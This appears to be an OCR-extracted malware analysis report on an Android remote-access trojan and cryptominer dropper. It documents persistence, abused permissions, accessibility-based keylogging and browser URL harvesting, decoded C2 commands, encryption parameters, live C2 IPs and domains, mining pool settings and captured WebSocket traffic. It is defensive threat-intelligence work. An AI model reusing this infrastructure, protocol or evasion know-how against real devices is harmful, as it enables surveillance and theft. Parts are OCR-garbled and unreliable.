PROOF 2: Foreground Service prevents Android from killing it
File: AndroidManifest.xml (lines 57-61)

Foreground services are lower priority for OOM killer
User would need to force-stop to kill it

PROOF 3: JobScheduler (MyJobService) for periodic wake-up
File: MyJobService.java

JobScheduler runs even if app is killed

PROOF 4: RESET_SERVICES alarm reactivation
File: ResetServices.java

Alarm-based health check - re-enables killed services

PROOF 5: Multiple overlapping mechanisms

persistence and auto-start mechanisms, showing the malware using boot receivers, foreground services,
JobScheduler wake-ups, and alarm-based reactivation to survive reboots, app kills, and removal attempts.
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Code Analysis: Storage & Permissions

Source excerpts covering miner initialization, native-binary invocation, and surveillance hooks
that activate after the device is enrolled with C2.

EVIDENCE: High—-Risk Permission Cluster

The malware requests an extensive set of dangerous permissions
that collectively give it near-total control over the device,
data, and hardware. Grouped by capability.

SURVEILLANCE & DATA THEFT

Camera captures video; SMS reads/intercepts all messages

STORAGE ACCESS

Full read/write access to all files, downloads, photos

SYSTEM CONTROL

<uses—permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses—permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION"/>
<uses—permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"/>
<uses—permission android:name="android.permission.FOREGROUND_SERVICE_SPECIAL_USE"/>
<uses—permission android:name="android.permission.FOREGROUND_SERVICE_SYSTEM_EXEMPTED"/>
<uses—permission android:name="android.permission.VIBRATE"/>

<uses—-permission android:name="android.permission.INTERNET"/>

<uses—permission android:name="android.permission.WAKE_LOCK"/>

<uses—permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses—permission android:name="android.permission.QUERY_ALL_PACKAGES"/>

Internet + network = C2 communication; WakeLock keeps

CPU on; Foreground = persistence; QueryAll = app discovery

SPECIAL ABUSE PERMISSIONS

REQUEST_INSTALL_PACKAGES = sideload APKs silently
IGNORE_BATTERY = disables battery optimization (keeps alive)
EXACT_ALARM = precise timing for C2 beaconing

BIND ACCESSIBILITY (GOD MODE)

BIND_ACCESSIBILITY = read all screens + keylogging

high-risk Android permission cluster, showing the malware requesting surveillance, SMS, storage, persistence, overlay,
package management, and Accessibility Service permissions that enable data theft, keylogging, C2 communication,
and device-level control.
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Accessibility Exploitation: Total Device Takeover

Malware abuses legitimate Android Accessibility Services to read screen content, track interactions,
and automate malicious gestures.

Detection & Inspection

Screen & Foreground Targeting

° Reads active windows,
fields, and dialog content.

° Tracks foreground app
changes and user
interactions.

° Identifies target browsers
and banking apps via
package names.

Social Engineering Trick:
"This app requires access permission to work. Please

allow to continue.”

This hardcoded prompt is designed to deceive victims into granting the keys to their

device.

Abuse & Control

Active Payload Execution

° Automates keystrokes and
gestures via callbacks.

° Captures screen state
through periodic
screenshots.

° Injects phishing overlays to

steal credentials.

High-Risk Impact

Enabling accessibility gives the
payload visibility and control
far beyond standard application
permissions.

< Installed apps

Sla  off

Data Harvesting: Multi-Vector Collection

The payload utilizes diverse passive and active collection paths to extract sensitive data and
monitor device status upon operator command.

Passive Monitoring

Always-On Extraction

° SMS: Intercepts OTPs and
steals messages.

° Contacts: Reads entire
phone book data.

° Notifications: Monitors
app-specific alerts.

° Apps: Reports all
foreground activity.

Copyright @2026 CTM360©

Active Capture

Command-Driven Access

° Media: Requests camera
frames and audio.

° Screen: Periodic snapshots
and reading.

° Browsing: Extracts URL bar
data and IDs.

° State: Profiles light, battery,
and idle state.

High-Risk Impact

Payload capabilities enable full

account takeover through
persistent credential harvesting
and deep environment
profiling.
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Browser Monitoring and Overlay Targets

The latest decoded constants confirm browser package names and URL bar view IDs embedded
through split-and-mask obfuscation, identifying activity via Accessibility APIs.

Chrome com.android.chrome com.android.chrome:id/ur
| _bar
Firefox org.mozilla.firefox org.mozilla.firefox:id/url_b

ar_title

Samsung Internet

com.sec.android.app.sbrow
ser

id/location_bar_edit_text

Brave com.brave.browser com.brave.browser:id/url
_bar

Opera com.opera.browser com.opera.browser:id/url
_field

DuckDuckGo com.duckduckgo.mobile.an |id/omnibarTextinput

droid

Opera Mini com.opera.mini.native com.opera.mini.native:id/
url_field

Edge com.microsoft.emmx com.microsoft.emmx:id/u

rl_bar

ColorOS Browser

com.coloros.browser

com.coloros.browser:id/a
zt

AOSP Browser

com.android.browser

com.android.browser:id/u
rl

Dolphin Browser

mobi.mgeek.TunnyBrowser

id/search_input
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Browser URL Monitoring Obfuscation

Decoded constants and logic demonstrate how the malware masks targeted browser strings and URL
bar IDs to evade detection during monitoring.

EVIDENCE: Browser URL Harvesting - Obfuscation & Decryption
All 11 browser package names and view resource IDs are stored
as encrypted string pairs in re.java. They are decrypted at
runtime using rf@.a(): Base64 Decode + XOR Decrypt.

STEP 1: Encrypted raw strings in re.java (obfuscated storage)

File: .../moduleaggregatorx/re.java (fields P®, Q@, RO...k1)
11 browser entries = 22 encrypted string pairs
Each entry is split into 2 parts + reassembled with p@.h()

// Chrome browser entry (P@ = package, Q0 = view ID)
)

' )i
; )

' J;
| Encrypted Data (Base6u) | XOR Key (Base64)
| |
| wuOKVbKumPg | oYzne9PW/Io= |
| Am2tkzOrJdYIAYQ== | bQTJIvVDDV+0= |
| yV29pxUREzjFW7SnHBcFJcdX6uAbUAIUxm® | qjLQiX9/d@o= |
| Qmvo | IAQauGT1x9k= |

S

TEP 2: Base64 Decode (both data and key)
The rf0.a() function first Base6d4-decodes both strings
to get raw byte arrays for the XOR operation.

datal (bytes):

[194,

227,

138,

85,

178,

184,

152,

248]

keyl (bytes): [161,

140, 231, 123, 211, 214, 252, 138]

data2 (bytes):

23

109, 173, 147, 51, 171, 37, 130, 0,

97]

key2 (bytes): [109, 4, 201, 189, 80, 195, 87, 237]

STEP 3: XOR Decryption (byte-by-byte key cycles)

© cTm3e0

Each data byte is XORed with the corresponding key byte.
If the key is shorter than the data, it wraps around.

STEP 4: p0.h() joins parts + removes separator
p0.h(partl + "\@' + part2, '"\0') removes the null
separator to produce the final string.

Package: "com.android.chrome"
View ID: "com.android.chrome:id/url_bar"

STEP 5: All 11 browser entries decoded

1. com.android.chrome
View ID: com.android.chrome:id/url_bar
findAccessibilityNodeInfosByViewId() reads URL
2. org.mozilla.firefox
View ID: org.mozilla.firefox:id/url_bar_title
findAccessibilityNodeInfosByViewId() reads URL
3. com.sec.android.app.sbrowser
View ID: com.sec.android.app.sbrowser:id/location_bar_edit_text
findAccessibilityNodeInfosByViewId() reads URL
4. com.brave.browser
View ID: com.brave.browser:id/url_bar
findAccessibilityNodeInfosByViewId() reads URL
5. com.opera.browser
View ID: com.opera.browser:id/url_field
findAccessibilityNodeInfosByViewId() reads URL
6. com.duckduckgo.mobile.android
View ID: com.duckduckgo.mobile.android:id/omnibarTextInput
findAccessibilityNodeInfosByViewId() reads URL
7. com.opera.mini.native
View ID: com.opera.mini.native:id/url_field
findAccessibilityNodeInfosByViewId() reads URL
8. com.microsoft.emmx
View ID: com.microsoft.emmx:id/url_bar
findAccessibilityNodeInfosByViewId() reads URL
9. com.coloros.browser
View ID: com.coloros.browser:id/azt
findAccessibilityNodeInfosByViewId() reads URL

10. com.android.browser
View ID: com.android.browser:id/url
findAccessibilityNodeInfosByViewId() reads URL
11. mobi.mgeek.TunnyBrowser

View ID: mobi.mgeek.TunnyBrowser:id/search_input
findAccessibilityNodeInfosByViewId() reads URL

Browser URL harvesting analysis showing encrypted browser package and URL bar identifiers decoded
through Base64 and XOR decryption.
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Decoded C2 Commands

The command dispatcher decodes 30 command names and routes them to obfuscated handler
methods supporting general remote-access behavior.

wrk Work / keylogger or screenshot task
optns Runtime feature configuration update
add Add monitored application or device entry
lject Layout injection
spng Spam or ping notification
file File list, read or upload operations
bot Bot status report
clone App clone or repackaging path
fetch Fetch contacts, SMS, call log or other data
srh Search device content
upload Upload file to C2
screen Screen capture
mic Microphone capture
brows Browser data monitoring
bc Broadcast intent
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Decoded C2 Commands (continued)

Command Function summary

scread Screen reader dump
ject Inject script or command
net Network information
trm Terminal or shell command execution
update Payload APK update
calf Calendar extraction
tols Installed application list
clip Clipboard read
lock Lock device screen
chat Chat application monitoring
blker Block or disable target app
loc GPS location tracking
red Redirect/open URL
miner Miner control
DDS DoS
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C2 Command Dispatcher

© ctm3e0

The following evidence details the command structure and obfuscation methods employed by the
C2 dispatcher for cross-platform task routing.

EVIDENCE: C2 Command Dispatcher - 30 Decoded Commands

The malware decodes 30 command names via XOR+Base6d (rf0.a())

and routes each to an obfuscated handler in d@.java.

OBFUSCATION EXAMPLE from d@.java:
Command strings stored as: rf@.a( .

Command

bot

fetch
srh

brows
bec

Command

net

calf
tols
clip
Llock
chat
blker
loc
red

yKQES907j, uSd2LrxHEtk

DECODED C2 COMMANDS (Part 1 of 2)

Function Summary
Work / keylogger or screenshot task
Runtime feature configuration update
Add monitored application or device entry
Layout injection
Spam or ping notification
File list, read or upload operations
Bot status report
App clone or repackaging path
Fetch contacts, SMS, call log or other data
Search device content
Upload file to C2
Screen capture
Microphone capture
Browser data monitoring
Broadcast intent

DECODED C2 COMMANDS (Part 2 of 2)

Function Summary
Screen reader dump
Inject script or command
Network information
Terminal or shell command execution
Payload APK update
Calendar extraction
Installed application list
Clipboard read
Lock device screen
Chat application monitoring
Block or disable target app
GPS location tracking
Redirect/open URL
Miner control (start/stop crypto miner)
Data drop service (bulk exfiltration)

(MEDIUM)
(Low)
(MEDIUM)

(Low)

(MEDIUM)
(MEDIUM)

(MEDIUM)
(Low)

(Low)

(MEDIUM)
(MEDIUM)
(MEDIUM)
(MEDIUM)
(MEDIUM)
(MEDIUM)
(MEDIUM)
(MEDIUM)

ATTACK CATEGORIES:

decoded C2 command dispatcher, showing the malware’s obfuscated command strings mapped to capabilities for keylogging,
screenshots, SMS theft, file operations, overlay attacks, shell execution, crypto-mining control, and data exfiltration.
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C2 Enrollment Token

The POST parameter named user_email is not an email address. It is an encrypted or
encoded device registration token used during registration and heartbeat
communication with the backend.

Observed Flow

SharedPreferences AES-CBC URL encode POST body
key: red_e decrypt token ” UTF-8 " user_email=<redacted>

C2 Request Pattern
Field Value
Method POST and HEAD observed
Path /yaarsa/private/yarsap_80541.php
Content-Type application/x-www-form-urlencoded
Parameter user_email=<encrypted device token>
User-Agent Dalvik/2.1.0 (Linux; U; Android 14; <device>)
Response Pattern CO:Sleep or configuration command depending on capture
bquest Response =
tty Raw Hex L] \n = Pretty Raw Hex Render VE "
POST /yaarsa/private/yarsap_8054l.php HTTP/1.1 1 HTTP/1l.1 200 OK
Fontent-Type: application/x-www-form-urlencoded 2 Content-Type: text/html; charset=UTF-8
Pser-Agent: Dalvik/2.1.0 (Linux; U; Android 14; SM-AO4ZF 3 Server: Microsoft-I1IS/10.0
Build/UPLlA.231005.007) ¢ Date: Sat, 23 May 202€ 09:37:4€ GMT
Host: 148.113.5.25 5 Content-Length: 112
Fonnection: keep-alive
Bccept-Encoding: gzip, deflate, br 7 Conf:({"idf":"BT-MOB58B824410b8197€d7", "sk":"ws:/"\/148.113.5.25:8080<
Fontent-Length: &2 ", "cip”:"193.19.204.81","ad":"1468.113.5.25"}

kuser_email=h€ZXpS5%2Fsblf%ZBKIZhLEfdPIYbnX3wMkUOtocYWiCEBMISYS3D
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C2 Token Encryption

The payload stores and handles device enroliment data using AES/CBC/PKCS5Padding with
PBKDF2-derived key material. The values are present in source after decoding but are split and
masked rather than written as direct plaintext.

Parameter Value Source summary
Algorithm AES/CBC/PKCS5Padding Decoded in s00.java
Key derivation PBKDF2WithHmacSHA1 SecretKeyFactory in s00.java
Iterations 65536 PBEKeySpec parameter
Key size 128 bits PBEKeySpec parameter
Password 4814780584699673 Constructed from split strings
Salt 2894356330652558 Constructed from split strings
v 2230209522049090 Constructed from split strings
Stored token key red_e Decoded SharedPreferences key

Confirmed interpretation

° The default encrypted token decrypts to a 32-byte device identity value before URL encoding.
° The POST field name user_email is misleading; it carries the encrypted device identity token.
° The crypto pipeline helps obscure registration values in static analysis and SharedPreferences.

EVIDENCE: C2 Enrollment Token (AES-CBC Encrypted Device ID)
The POST parameter 'user_email' is NOT an email. It is an
AES-CBC encrypted device token from SharedPreferences.

=== STATIC ANALYSIS (Source Code) ===
The token storage mechanism is proven by decompiled source code,
regardless of whether runtime data exists on the device.

[1/3] Key Name Definition - re.java:66-68

Three SharedPreferences key names are decoded via rf0.a()

Stored Token Key Decoded Key Obfuscated Reference
"red_e" re.n® (line 66)
"red_ip" re.o® (line 67)
"red_k" re.p® (line 68)

[2/3] Write Mechanism - to@.java:37-39

The to® class wraps SharedPreferences with:
public void a(String str, String str2) {
this.a.put(str, str2);
this.b.edit().putString(str, str2).apply()

This confirms the write path: edit().putString(key, value).apply()

[3/3] Read/Decrypt Mechanism - s00.java:43-50

The s00 class provides AES-CBC decryption for reading back:
public String a(String str) {
return new String(b(2).doFinal(Base64.decode(str, 2)))
}
This confirms the token is AES-CBC encrypted (PBKDF2, 65536 iters)
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Registration Payload & Analysis

The malware performs a multi-stage registration process, capturing device enroliment data and
establishing persistence. Technical analysis reveals the internal payload structure and
post-enrollment flows used to maintain communication with C2 infrastructure.

=== RUNTIME STATUS (Live Device — ADB) ===
Device: SM-A@42F (R8YW602FFME)

—--— Dropper (com.orognd.trisyectetd) ———
Entries:
1
"2026-05-23"
Entries:
true
Entries:
"/data/user/0/com.orognd.trisyectetd/files/processed_miner/output_0.apk;;;" (APK file path)
Entries:
"/data/user/0/com.orognd.trisyectetd/files/processed_user/output_0.apk;;;/data/us..." (APK file path)
Entries:
599308031
Entries:
true
Entries:
true
Entries:
1779552679164
"com.lrzdt.geysers" (installed payload)
Entries:
20260524
true (confirmed install)
1779552658026
@ (crypto mined)
1779554461596
1779552658028
-—— Payload (com.lrzdt.geysers) ———
Entries:
true
true
true
true
true
true
true
true
true
true
true
true
true
Runtime Status and Enroliment Payload Analysis
true
Post-Enroliment Flow Details
The detailed breakdown of the
true . .
post-enrollment flow highlights
the specific parameters and field
Entries: . . . . .
599308031 mappings, including the misleading
Entries: 1 T
1 use of the 'user_email' field for
Entries: .
device tokens.
true
e
e
"54116235278450116154" (device unique ID)
R Stored Token Key 'red_e': NOT FOUND (Runtime)
Reason: C2 enrollment had not completed at time of acquisition.
The app was in 'initialized-but-unenrolled' state
Mechanism still confirmed via static analysis (source code).

=== POST-ENROLLMENT FLOW (Reconstructed) ===
Based on the source code, once C2 enrollment completes

POST http://<IP>/yaarsa/private/log_error.php
Body: user_email=<encrypted_token>gerror_data=<info>

=== ENCRYPTION PARAMETERS (s00.java) ===

Algorithm AES/CBC/PKCS5Padding

Password re.CO = 4814780584699673
salt re.D0 = 2894356330652558
v re.B@ = 2230209522049090

Iterations 65536 (PBKDF2WithHmacSHAl, key size 128 bits)

=== DEFAULT TOKEN DECRYPTION ===
File: rgsheelelhfkvssxdnr.java (line 17) - hardcoded fallback

Encrypted: "ESuBEgD741D7KEP3E/SIMbkgWYAYrvVnWfuf28EEQCgINF/p6Q95doWlayxbbsxy™
Decrypted: "h6ZXp5/sb1f+K12hLfdPIYbnX3wMkUOtocYWiC8MOSY="
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Decoded Configuration Values

A 43-key lookup table in the installer DEX resolves important infrastructure and configuration
strings at runtime. These values help tie together mining, telemetry and update behavior.

Category
Miner pool
Proxy pool

Miner binary
Miner args
Telemetry server
Telemetry app key
Timezone
Firebase project
FCM sender ID

Binary URL

Decoded value
pooll[.ljesfeoqrj3[.1xyz:8443
pool-proxyl.ljesfeoqrj3[.1xyz:8443
d-miner
-0 <pool> -k --tls --no-color --nicehash
https://aptabase[.ljesfeoqrj3[.]1xyz:8443
A-SH-8430060486
Asia/Singapore
waking-21b04

39848184100

https://aptabasel.]jesfeoqrj3[.]1xyz/libmine-<arch>.

SO

Use

Primary pool connection

Fallback mining endpoint

Native binary launched by miner package

XMRig/NiceHash style invocation
Self-hosted Aptabase endpoint

Aptabase app identifier

Telemetry timestamp region

FCM project config

Messaging sender
identifier

Miner download path

Telemetry events

app_installation

mining_report

successful_miner_installation

thermal_report

successful_payload_installation app_alive

These event names indicate that the malware operators track installation success, miner deployment,
payload installation, heartbeats, mining performance and device thermal state.
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Configuration & Infrastructure

The malware resolves infrastructure and configuration strings at runtime using a lookup table in the
installer DEX. This connects mining operations with telemetry and update behaviors.

EVIDENCE: Infrastructure Configuration (43-Key Lookup Table)

All strings are obfuscated at rest via t9inJtRPbPx92cut75.UdEUV@7ucR1xTCN77r(long)
which uses a custom PRNG-based decoder with Java short sign-extension.

The encoded form is a signed 64-bit long integer; the decoded form is the

runtime string used by the app.

Mechanism: t9inJtRPbPx92cut75.UdEUVO7ucRLxTCN77r(long_key) —> String

Miner binary -1140545567999778952L d-miner

Direct pool -1140545602359517320L pool.jesfeoqrj3.xyz

Primary pool -1140545941661933704L pool. jesfeoqrj3.xyz:8443

Proxy pool -1140546049036116104L pool-proxy.jesfeoqrj3.xyz:8443

Miner arg -o -1140546182180102280L =0

Miner arg -k -1140546195065004168L -k

Miner arg ——tls -1140546207949906056L =—tES

Miner arg ——no-color -1140546233719709832L --no-color

Miner arg —--nicehash -1140546280964350088L ——nicehash

App key -1140549519369691272L A-SH-8430060486

Server URL -1140549588089168008L https://aptabase.jesfeoqrj3.xyz:8443

Timezone -1140549747002957960L Asia/Singapore

SDK version -1140555077057372296L aptabase-java@0.0.8

SH region key -1140548660376232072L https://aptabase.jesfeoqrj3.xyz:8443
-1140549012563550344 app_installation
-1140549085577994376 successful_miner_installation
-1140549214427013256 successful_payload_installation
-1140549351865966728 app_alive
-1140549394815639688 mining_report
-1140549454945181832 thermal_report

FCM sender ID -1140536939410481288L 39848184100

Project ID -1140537304482701448L waking—-21boy

Storage bucket -1140537132684009608L waking—-21b04.firebasestorage.app

API key —-1140537995972436104L AIzaSyDDRPszQIVKnbIBw9nZuuhferid—IOxwXU

App ID -1140537935842893960L 1:39848184100:android: c4ydyf602ecfy0683bcbbl

armé4 suffix -1140549785657663624L arméy.so

arm32 suffix -1140549824312369288L armeabi-v7a

arm suffix 2 —-1140549875851976840L arm32.so

Prefix -1140549914506682504L libmine-

Primary URL -1140550421312823432L https://aptabase.jesfeoqrj3.xyz/

Backup 1 -1140550563046744200L https://www.backupdomain2026xxx001

Backup 2 -1140550713370599560L https://www.backupdomain2026xxx002

Backup 3 -1140550863694454920L https://www.backupdomain2026xxx003

Backup 4 -1140551014018310280L https://www.backupdomain2026xxx004

infrastructure configuration and string deobfuscation, showing the malware's lookup table for mining pools, proxy endpoints,
telemetry URLs, Firebase identifiers, payload download paths, and backup C2 infrastructure.
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Runtime Analysis: C2 Behavior

Runtime analysis captured device enroliment, reporting, status messages, and feature-configuration
responses. Sensitive device identifiers have been redacted for this report.

Sanitized WebSocket message flow

Device Cc2 Device Cc2
join register bot add details optns

Periodic heartbeat
type=png

Observed fields in sanitized runtime messages

Field group Examples Meaning
Identity idf, sidf, pid, conk,BTVR Device and connection identifiers;
Device state android_version, model, battery, network Basic device profile and status
Activity state act, vapps, activz, vLinks Foreground and activity-related telemetry
Collection queues keylogs, notifys, bsms, bcall Buffers or counters for harvested data
Environment AN, LT, BC, BP Ambient state, light level, charging/battery

keystrokes, notifications, livescreen,

C2 options auto] Runtime feature flags
idf / sidf BTMOB-style device identifier.
pid Numeric phone or installation identifier.
cip Client-side public IP field; not treated as C2 infrastructure.
itype Client type string, observed as Sir_client.
conk Connection key; observed as ytbb.
BTVR Bot version value; observed with BT-v4.2 format.
TRK / TAG Tracking or campaign fields used by the operator.
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C2 Communication Artifacts

The following analysis illustrates the structure of observed C2 message flows, field definitions,
and raw WebSocket traffic captured during runtime.

3. C2 Command message format
EVIDENCE: Runtime Analysis - C2 Behavior (Burp Captures) C2 sends commands wrapped in:{"type":"com","pdata":{"msg":"<cmd>"}}
Captured WebSocket and HTTP traffic from device enrollment, !
detail reporting, periodic status and feature-configuration. Y anTalioalpuny
{"type": "con", "pdata”: {"msg" : "spng"}}
1. Device Enrollment (WebSocket message)
Device sends 'join' to C2 via initial HTTP -> gets WebSocket URL back type = "com" -> command message
pdata.msg —> the specific C2 command (spng, upload, etc.)
HTTP Response:
HTTP/1.1 200 OK 4. Observed field descriptions
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0 |Fie'Ld |Va'Lue example |Purpose I
Conf:
idf: BT-MOB... (device fingerprint) |idf |BT-MOB. . . |Device fingerprint / unique identifier |
sk: ws://148.113.5.25:8080  (WebSocket server) |pid |5u116. . . |Payload installation ID |
cip: 193.19.264.81 (client public IP) |cip |193.19.204.81  |Client public IP (C2 sees it) |
ad: 148.113.5.25 (alternate address) |itype |Slr_client |Installer type (Slr = silencer?) |
2. WebSocket Comection (device > C2) s o [ ST }
After connecting to ws://148.113.5.25:8080, device sends: 9 ge sed g
| conk |ytbb |Connection key / session token |
Join message: | sk lws://. .. |WebSocket server URL (from Conf response) |
|ad |148.113.5.25 |Alternate C2 address |
SadEs: "BT-MOB58824416b81976d7" ,
"pid": "54116235278450116115",
::Flp":" ::133'13;20u"|81"- 5. Subsequent messages (observed fields after join)
itee ?oi;ﬁ BeR After enrollment, device sends periodic status with fields:
ugn,
nytbb®
} |Field group |Examples |Purpose |
3. €2 Command message format |Identity |idf, sidf, pid, conk |Device and connection identifiers|
€2 sends commands wrapped in:{"type":"com","pdata":{"msg":"<cmd>"}} |Device state |android_version, model, battery, network |Basic device profile and status|
R |Activity state |act, vapps, activz, vLinks |Foreground and activity telemetry|
J:’;E;_,.zzx” l:;s.;ta“'{"msg""'spng"}) |Collection |keylogs, notifys, bsms, bcall |Buffers or counters for harvested datal|
- ! - : |Environment |AN, LT, BC, BP |Ambient state, light, charging, battery]|
type = "com" -> command message |c2 options |keystrokes, notifications, livescreen, autoj|Runtime feature flags from C2
pdata.msg —> the specific C2 command (spng, upload, etc.)

runtime C2 behavior from captures, showing device enroliment, WebSocket communication with the C2 server,
command message formatting, and periodic status reporting with device identifiers, telemetry, feature flags, and

collected environment data.

WebSocket Command Format Observed Data Fields
WebSocket message to http://148.113.5.25:8080/ - 0 X WebSocket message from http;/148.113.5.25:8080/) — O X WebSocket message to http://148.113.5.25:8080/ - 0o x
Previous Next Action Previous Next Action Previous Next Action
o
Message 5 | Message S Message e
Pretty  Raw  Hex W = 2| prety Raw o Hex B "= Z| eety Raw Hex wes|%
g = = |2
2 v e 3
« 2 2 2
T 2
BT-MOBS88244 10b81976d7" g "type": "connected” v > e g
. = :"connecte BT-HOBS8824410b81976d7", g
54116235278450116115", ) < R
@@ € > | search O | ohighlights ¢33
WebSocket message from http;//148.1135.25:8080/) — O X
)
Previous Next Action "add\ ", \ "phone_name\":\"00000\ ", \ "android_version\”:\"Android 14\",\"mo
- A04e\", | "battery charge\”:\"t\",\"battery precentage\”:\"1\", | "netwo
Message a £K\":\"WIFI\",\"install_date\":|"202£-05-23\",\ "phone_id) ":\"54116235278450116115\"
L] ,\"wallpap!":\"iVBORWOKGgoAAAANSUNEUGAAAB4AAAAeCAYAAAA7MKE i AAAAAXNSROTArs4cEQAAAARZ
= == QK1UCAGICHWIZIgARAegSURBVE iJrdVbcd T1HC£x73vYByG72d ks Fz2 BBKs iECEZWYFREGGVDBCI JWaq2
Pretty Raw Hex n = g Dddr OMK3 M2 Dr ¥mr G9s YwX2 sFSHUqr LqEcr LS TaFEZOVOOT YnkSBLYbEKYyW72 £HI £ . /a
—_— ] 5+Mz\\\/md\\\/2£4Sprc@o0t wKpGo3hdShEtsPkQuacdULl1Jx0Ex4d TyhYCK2ul 60LKE LuCoMIR120kIS2
L= - g 38aNERWSUBNXMo\ |\ /bVUZhIGD INaITIRgHFmKDXe1\ |\ /sQStvROx0K78yAAGUWBDY7CkzeL3 YugtSeqe
neype”: “com", < pHkkydHsT! |\ / ZAunin7 IrLqSXNn+V3QhGAt P LuAOEE 1EBrhOdh! |\ /20JO!
pdaca’ €EHgd3 1853 2bAMyWunéNF € ZOuS TSBJ EPqMONe34Kq7AD4MOXPqDA4S EHV
"mag":"spng” +dRPVF3BEh57Gt 1+3gRGCKCAGC 1 IERTYSQm7 1!
Q@ ¢ > [seah £ onighighs @ i S A o TicAaRr LIPS DO ULARAE
AQBNFFGNBgSPG2uwDr HEvkIvU£1dQ5 1 14G2e! £HRSVUVI+0yQOWUZKO7CAE
WebSocket message from hitp//148113.5258080) — O X | € > | search £ | onighights gy intiV)SELacYa+onf4chm | \/dNospebRANUUp3 HBvax Lh2 BEmPLIHS +2¢€ +LAIFFEVCSOZVOLO\ | |/ gals
BABRVK1Q9WgE73uBzode 1735CTLs IpmdTmDDs2 1Sd1P03 2chYSWPECTVQIt2gHCKB | |\ /Gme zAJCALhI TAN
P A : ( VaWkpi8ySuOtqH+212\\\/t¥mJykentOXD10JhBgKHAZeT+\ |\ /DO4REQ) | | / uMWF 2 1VJucBHZZWK7QRK Lk
ious on | Y webSocket message from httpy//148.113.525:8080/) — O X MuemMNyccOMtbVTcO2 zWCKgqEW2 Euf Uy TNpe Cdx zXHayg2 i Yus zwgFkCUSAr E 1Q0st JKTWPHY! |\ /8
: . 2C17E8dSDwBnoodqMe T2J 282 ZFEVVENCIK3 p L4EmuvBWbPGAVA LbDXLAG7me 1 £+0CEKTHMIBGO7tSr s
Message 2 Previous Next Action
@O € > | search £ ohighiights &y
Pretty  Raw  Hex W = 3| Message 2
g A WebSocket message to http://148.113.5.25:8080/ — o X
1 F | Pretty Raw  Hex w = Z
El 3 Previous Next Action
( =
: R — g
BT-MOB58824410b81976d7", R Message 2
i W "opens”, =
(\r\n \"Activities\": \"0\",\r\n \"keystro "BT-NOBS882441058157647", Pretty  Raw  Hex w= 3
kes\": \"1\",\r\n \"notificatioms\": \"I\", 3
rin \"visitedapps\": \"0\",\r\n \"visitedli Activities\":\"0\",\ "keystrokes\®:\ "1\ ", \ " i 2
BEs\me ARD\RpAmin:, YEIMvenoEify\ By ANOYE;\ein notifications\":\"1\",\"visitedapps\":\"0\",\" BT-MOBS8824410b8197£d7", g
gl iTvespEeani®l VFONTeAEND ATAUEG)NFL VAL visitedlinks\" ,\"livenotify\":\"0\",\"11 "BT-MOB5B824410b81976d7",
E\al vescreen\":\"0\",\ "auto3\ ":\ "0\ ") " 04.81",
A ) 278450116115",
J )
"ytbb",
w{\"ype\":\"png\ ", \ "scr\ ":\ "2\ ", \ "ms\ "1\ "284\ ", \ "Jct\ 710, \ "keylogs\ ":\ "M ", \ "vapp
S\":\ "aulll ", | "acti; "null\”,\"notifys\ ":\"null\",\ "vLinks\":\ "null\", | "bsms
"null\”,\"bcalll”:\"null\",\"act\”:\"N\\\/A\", \ "AN\":\"Flat on the table\",\"L
S\ "Very Dark (8.0 1x)\",\MBC\ 71\ mE, ", BB\ "1\ ML ", | mIcte) Tz \ ", | Praqu) | O\
L\ "cagulm:\ "N\ /AL
D& € > seacn P ohighiights ¢ (D B} € > | search £ | ohighlights & v
@& € > seach £ otighights g3

Sanitized Runtime Message Traffic Logs
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Runtime Feature Control

The C2 can return an optns message that changes what collection features are active. This design allows
operators to reduce noise, avoid triggering detection or activate specific capabilities only when useful.

Observed feature-toggle response

Toggle Value Observed status
keystrokes 1 Enabled
notifications 1 Enabled
Activities 0 Disabled
visitedapps 0 Disabled
visitedlinks 0 Disabled
livenotify 0 Disabled
livescreen 0 Disabled
autoj 0 Disabled

Operational meaning

e Keylogging and notification collection were enabled in the observed runtime configuration.
e  Other higher-noise features such as live screen and auto-injection were disabled at that time.

e Because these flags are C2-controlled, future runtime sessions may enable different
combinations.

B3 WebSocket message from httpy//148.113.5.25:8080/ - 0 X
Previous Next Action
Message >
Prefty  Raw  Hex W= g
na— T
o
14 a
"eypen: feon”, 8
"pdata": (
"msg":"optns",
"sidf":"BT-MOB50B24410081976d7",
nops

"(\r\n \"Activities\": \"0\",\r\n \"keystrokes\": \"1\",\r\n \"notifications\": \"I\",\rin \"visitedapps\": \"0\",\r\n \"visitedlinks\": \"0\",\r\n \"livenotify\": \"0\",\r\n \"livescreen\":
n0\M \e\n \"autod\ s \mQ\M\p\n)"
\E autoj\": 1
}
)

WebSocket C2 message showing an optns command from the server, with the malware reporting device identifiers and enabled
feature flags such as keystrokes, notifications, visited apps, visited links, live notifications, live screen, and auto mode.
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WebSocket Enroliment Evidence

Runtime traffic included a WebSocket device-profile message.

WebSocket Payload - All Fields What this confirms

idf = BT-MOB5882u410b81976d7 BT-MOB identity

sidf = null The bot identifies itself with a BT-MOB installation ID
cip = 193.19.204.81 and a separate numeric device identifier.

54116235278450116119
Slr_client

BT
+ P
< o
s
)
non

subc = msg WebSocket protocol markers
conk = ytbb o ' B B
msg = (nested JSON object , see below) The values itype=SiIr_client, subc=msg, and conk=ytbb

are stable protocol artifacts

e

A ’ Device invento
type = add ry
phone_name SR Ej E }El 15 The add message sends OS version, device model,
android_version = Android 14 network type, install date, battery state, and SIM status.

model
battery_charge
battery_precentage

Galaxy AOGude
t
2 Privacy impact

Dl 5 Th Il field i Base64 PNG wall
inetall ldate = 2026-05-23 e wallpap field carries a Base wallpaper

b thumbnail, showing collection beyond basic heartbeat
phone_id = 54116235278450116119 otadnta. ° /

]

N/A

keylogs

C2 context
vapps = null
activz = null cip is the client public IP observed by the malware and
notifys = null should not be classified as C2 infrastructure by itself.
vLinks = null

idf
BTVR

BT-MOB58824410b81976d7
BT-v4.2

empty |

Appl

- -
>
O x
o

|
|
|
|
|
|
|
|
|
|  sim
|
|
|
|
|
|
|
|
|

3 hitp://148.113.5.25:8080/ > To server 3499 12:37:51 23 May 2026 8686 2
Message 2
Pretty  Raw  Hex w = Z
H
1[¢ =
"idf": "BT-MOBS58824410b81976d7", =
Vi null",
93.19.204.81",
:"54116235278450116115", E]
"Slr_client”, =z
S
¥
